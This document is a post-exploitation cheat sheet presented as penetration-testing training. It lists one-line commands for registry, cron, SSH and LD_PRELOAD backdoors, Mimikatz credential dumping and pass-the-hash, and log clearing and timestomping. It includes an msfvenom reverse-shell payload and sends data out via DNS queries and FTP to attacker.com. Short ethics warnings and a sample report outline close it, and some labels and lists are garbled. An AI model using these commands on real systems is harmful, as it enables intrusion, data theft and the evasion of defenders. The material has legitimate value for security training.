🎯 Post-Exploitation

Post-Exploitation & Reporting Guide

Complete guide to maintaining access, privilege escalation, lateral movement, and professional reporting.

1. Introduction to Post-Exploitation

Post-exploitation refers to actions taken after gaining initial access to a system. The goals include:


2. Post-Exploitation Techniques

A. Maintaining Access (Persistence)

1. Windows Persistence Methods

Registry Keys (Run keys, Startup folders)

🪟 PowerShell Registry Persistence
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\malware.exe"

Scheduled Tasks

🪟 PowerShell Scheduled Task
schtasks /create /tn "UpdateTask" /tr "C:\malware.exe" /sc hourly /mo 1

Service Installation

🪟 PowerShell Service Persistence
sc create "FakeService" binPath= "C:\malware.exe" start= auto

2. Linux Persistence Methods

Cron Jobs

🐧 Bash Cron Persistence
echo "* * * * * /tmp/backdoor.sh" >> /etc/crontab

SSH Backdoors

🐧 Bash SSH Backdoor
echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys

Modified Binaries (LD_PRELOAD)

🐧 Bash LD_PRELOAD
echo "/tmp/evil.so" >> /etc/ld.so.preload

B. Privilege Escalation

1. Windows Escalation

Token Impersonation (Rotten Potato)

🪟 PowerShell Token Impersonation
Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM"

DLL Hijacking

🪟 PowerShell DLL Hijacking
copy evil.dll "C:\Program Files\VulnerableApp\legit.dll"

Unquoted Service Paths

🪟 PowerShell Unquoted Service
wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows"

2. Linux Escalation

SUID Binaries

🐧 Bash SUID Find
find / -perm -4000 2>/dev/null

Kernel Exploits (DirtyCow, Sudo Baron Samedit)

🐧 Bash Kernel Exploit
gcc exploit.c -o exploit && ./exploit

Sudo Misconfigurations

🐧 Bash Sudo Check
sudo -l

C. Lateral Movement

1. Pass-the-Hash (PtH)

Windows

🪟 Mimikatz Pass-the-Hash
mimikatz "sekurlsa::pth /user:Administrator /domain:corp /ntlm:HASH"

Linux (SSH Key Abuse)

🐧 Bash SSH Key
ssh -i id_rsa user@192.168.1.100

2. RDP Hijacking

🪟 PowerShell RDP Hijack
tscon 2 /dest:rdp-tcp#0

3. WMI & PSExec

🪟 PowerShell WMI Exec
Invoke-WMIExec -Target 192.168.1.100 -Command "whoami"

D. Data Exfiltration

1. File Transfer Methods

HTTP Upload (Python Server)

🐧 Bash Python HTTP Server
python3 -m http.server 8000

DNS Exfiltration

🐧 Bash DNS Exfil
cat secret.txt | base64 | tr -d '\n' | while read chunk; do dig $chunk.attacker.com; done

2. Data Compression & Encryption

🐧 Bash ZIP Encryption
zip -P "password" secret.zip secret.txt

E. Covering Tracks

1. Log Deletion

Windows (Clear Event Logs)

🪟 PowerShell Clear Logs
wevtutil cl System

Linux (Delete Auth Logs)

🐧 Bash Clear Auth Logs
echo "" > /var/log/auth.log

2. Timestomping

🪟 PowerShell Timestomping
(Get-Item "C:\malware.exe").CreationTime = "01/01/2020 00:00:00"

3. Post-Exploitation Tools

Tool Purpose
Mimikatz Credential dumping (Windows)
BloodHound Active Directory mapping
Cobalt Strike Advanced post-exploitation
Metasploit Automated exploitation
Impacket Lateral movement (Linux/Windows)

4. Reporting & Documentation

A. Key Elements of a Penetration Test Report

  1. Executive Summary — High-level findings
  2. Methodology — Tools & techniques used
  3. Findings — Vulnerabilities + risk ratings
  4. Evidence — Screenshots, logs
  5. Remediation Steps — How to fix issues

B. Sample Report Structure

📄 Penetration Test Report

1. Executive Summary

- Critical vulnerabilities found: 3

- Risk level: High

2. Findings

A. Privilege Escalation (Critical)

- Description: Kernel exploit (CVE-2021-4034)

- Proof: ![Screenshot](img/exploit.png)

- Remediation: Patch Linux kernel.

3. Conclusion

- Immediate action required for CVE-2021-4034.

C. Tools for Reporting


5. Hands-On Lab

Lab: Windows Post-Exploitation

1. Dump hashes with Mimikatz:

🪟 Mimikatz Dump Hashes
sekurlsa::logonpasswords

2. Create a backdoor:

💻 Terminal MSFVenom
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe > backdoor.exe

3. Exfiltrate data via FTP:

🪟 PowerShell FTP Exfil
(New-Object Net.WebClient).UploadFile("ftp://attacker.com/secrets.txt", "C:\secrets.txt")

6. Ethical & Legal Considerations

⚠ Always get written permission before testing.

⚠ Do not exfiltrate real customer data (use dummy files).

⚠ Follow responsible disclosure for vulnerabilities.


Conclusion

Post-Exploitation & Reporting is the part of cybersecurity Training

🔹 Next Steps

🚀 Want a sample penetration test report template? Let me know!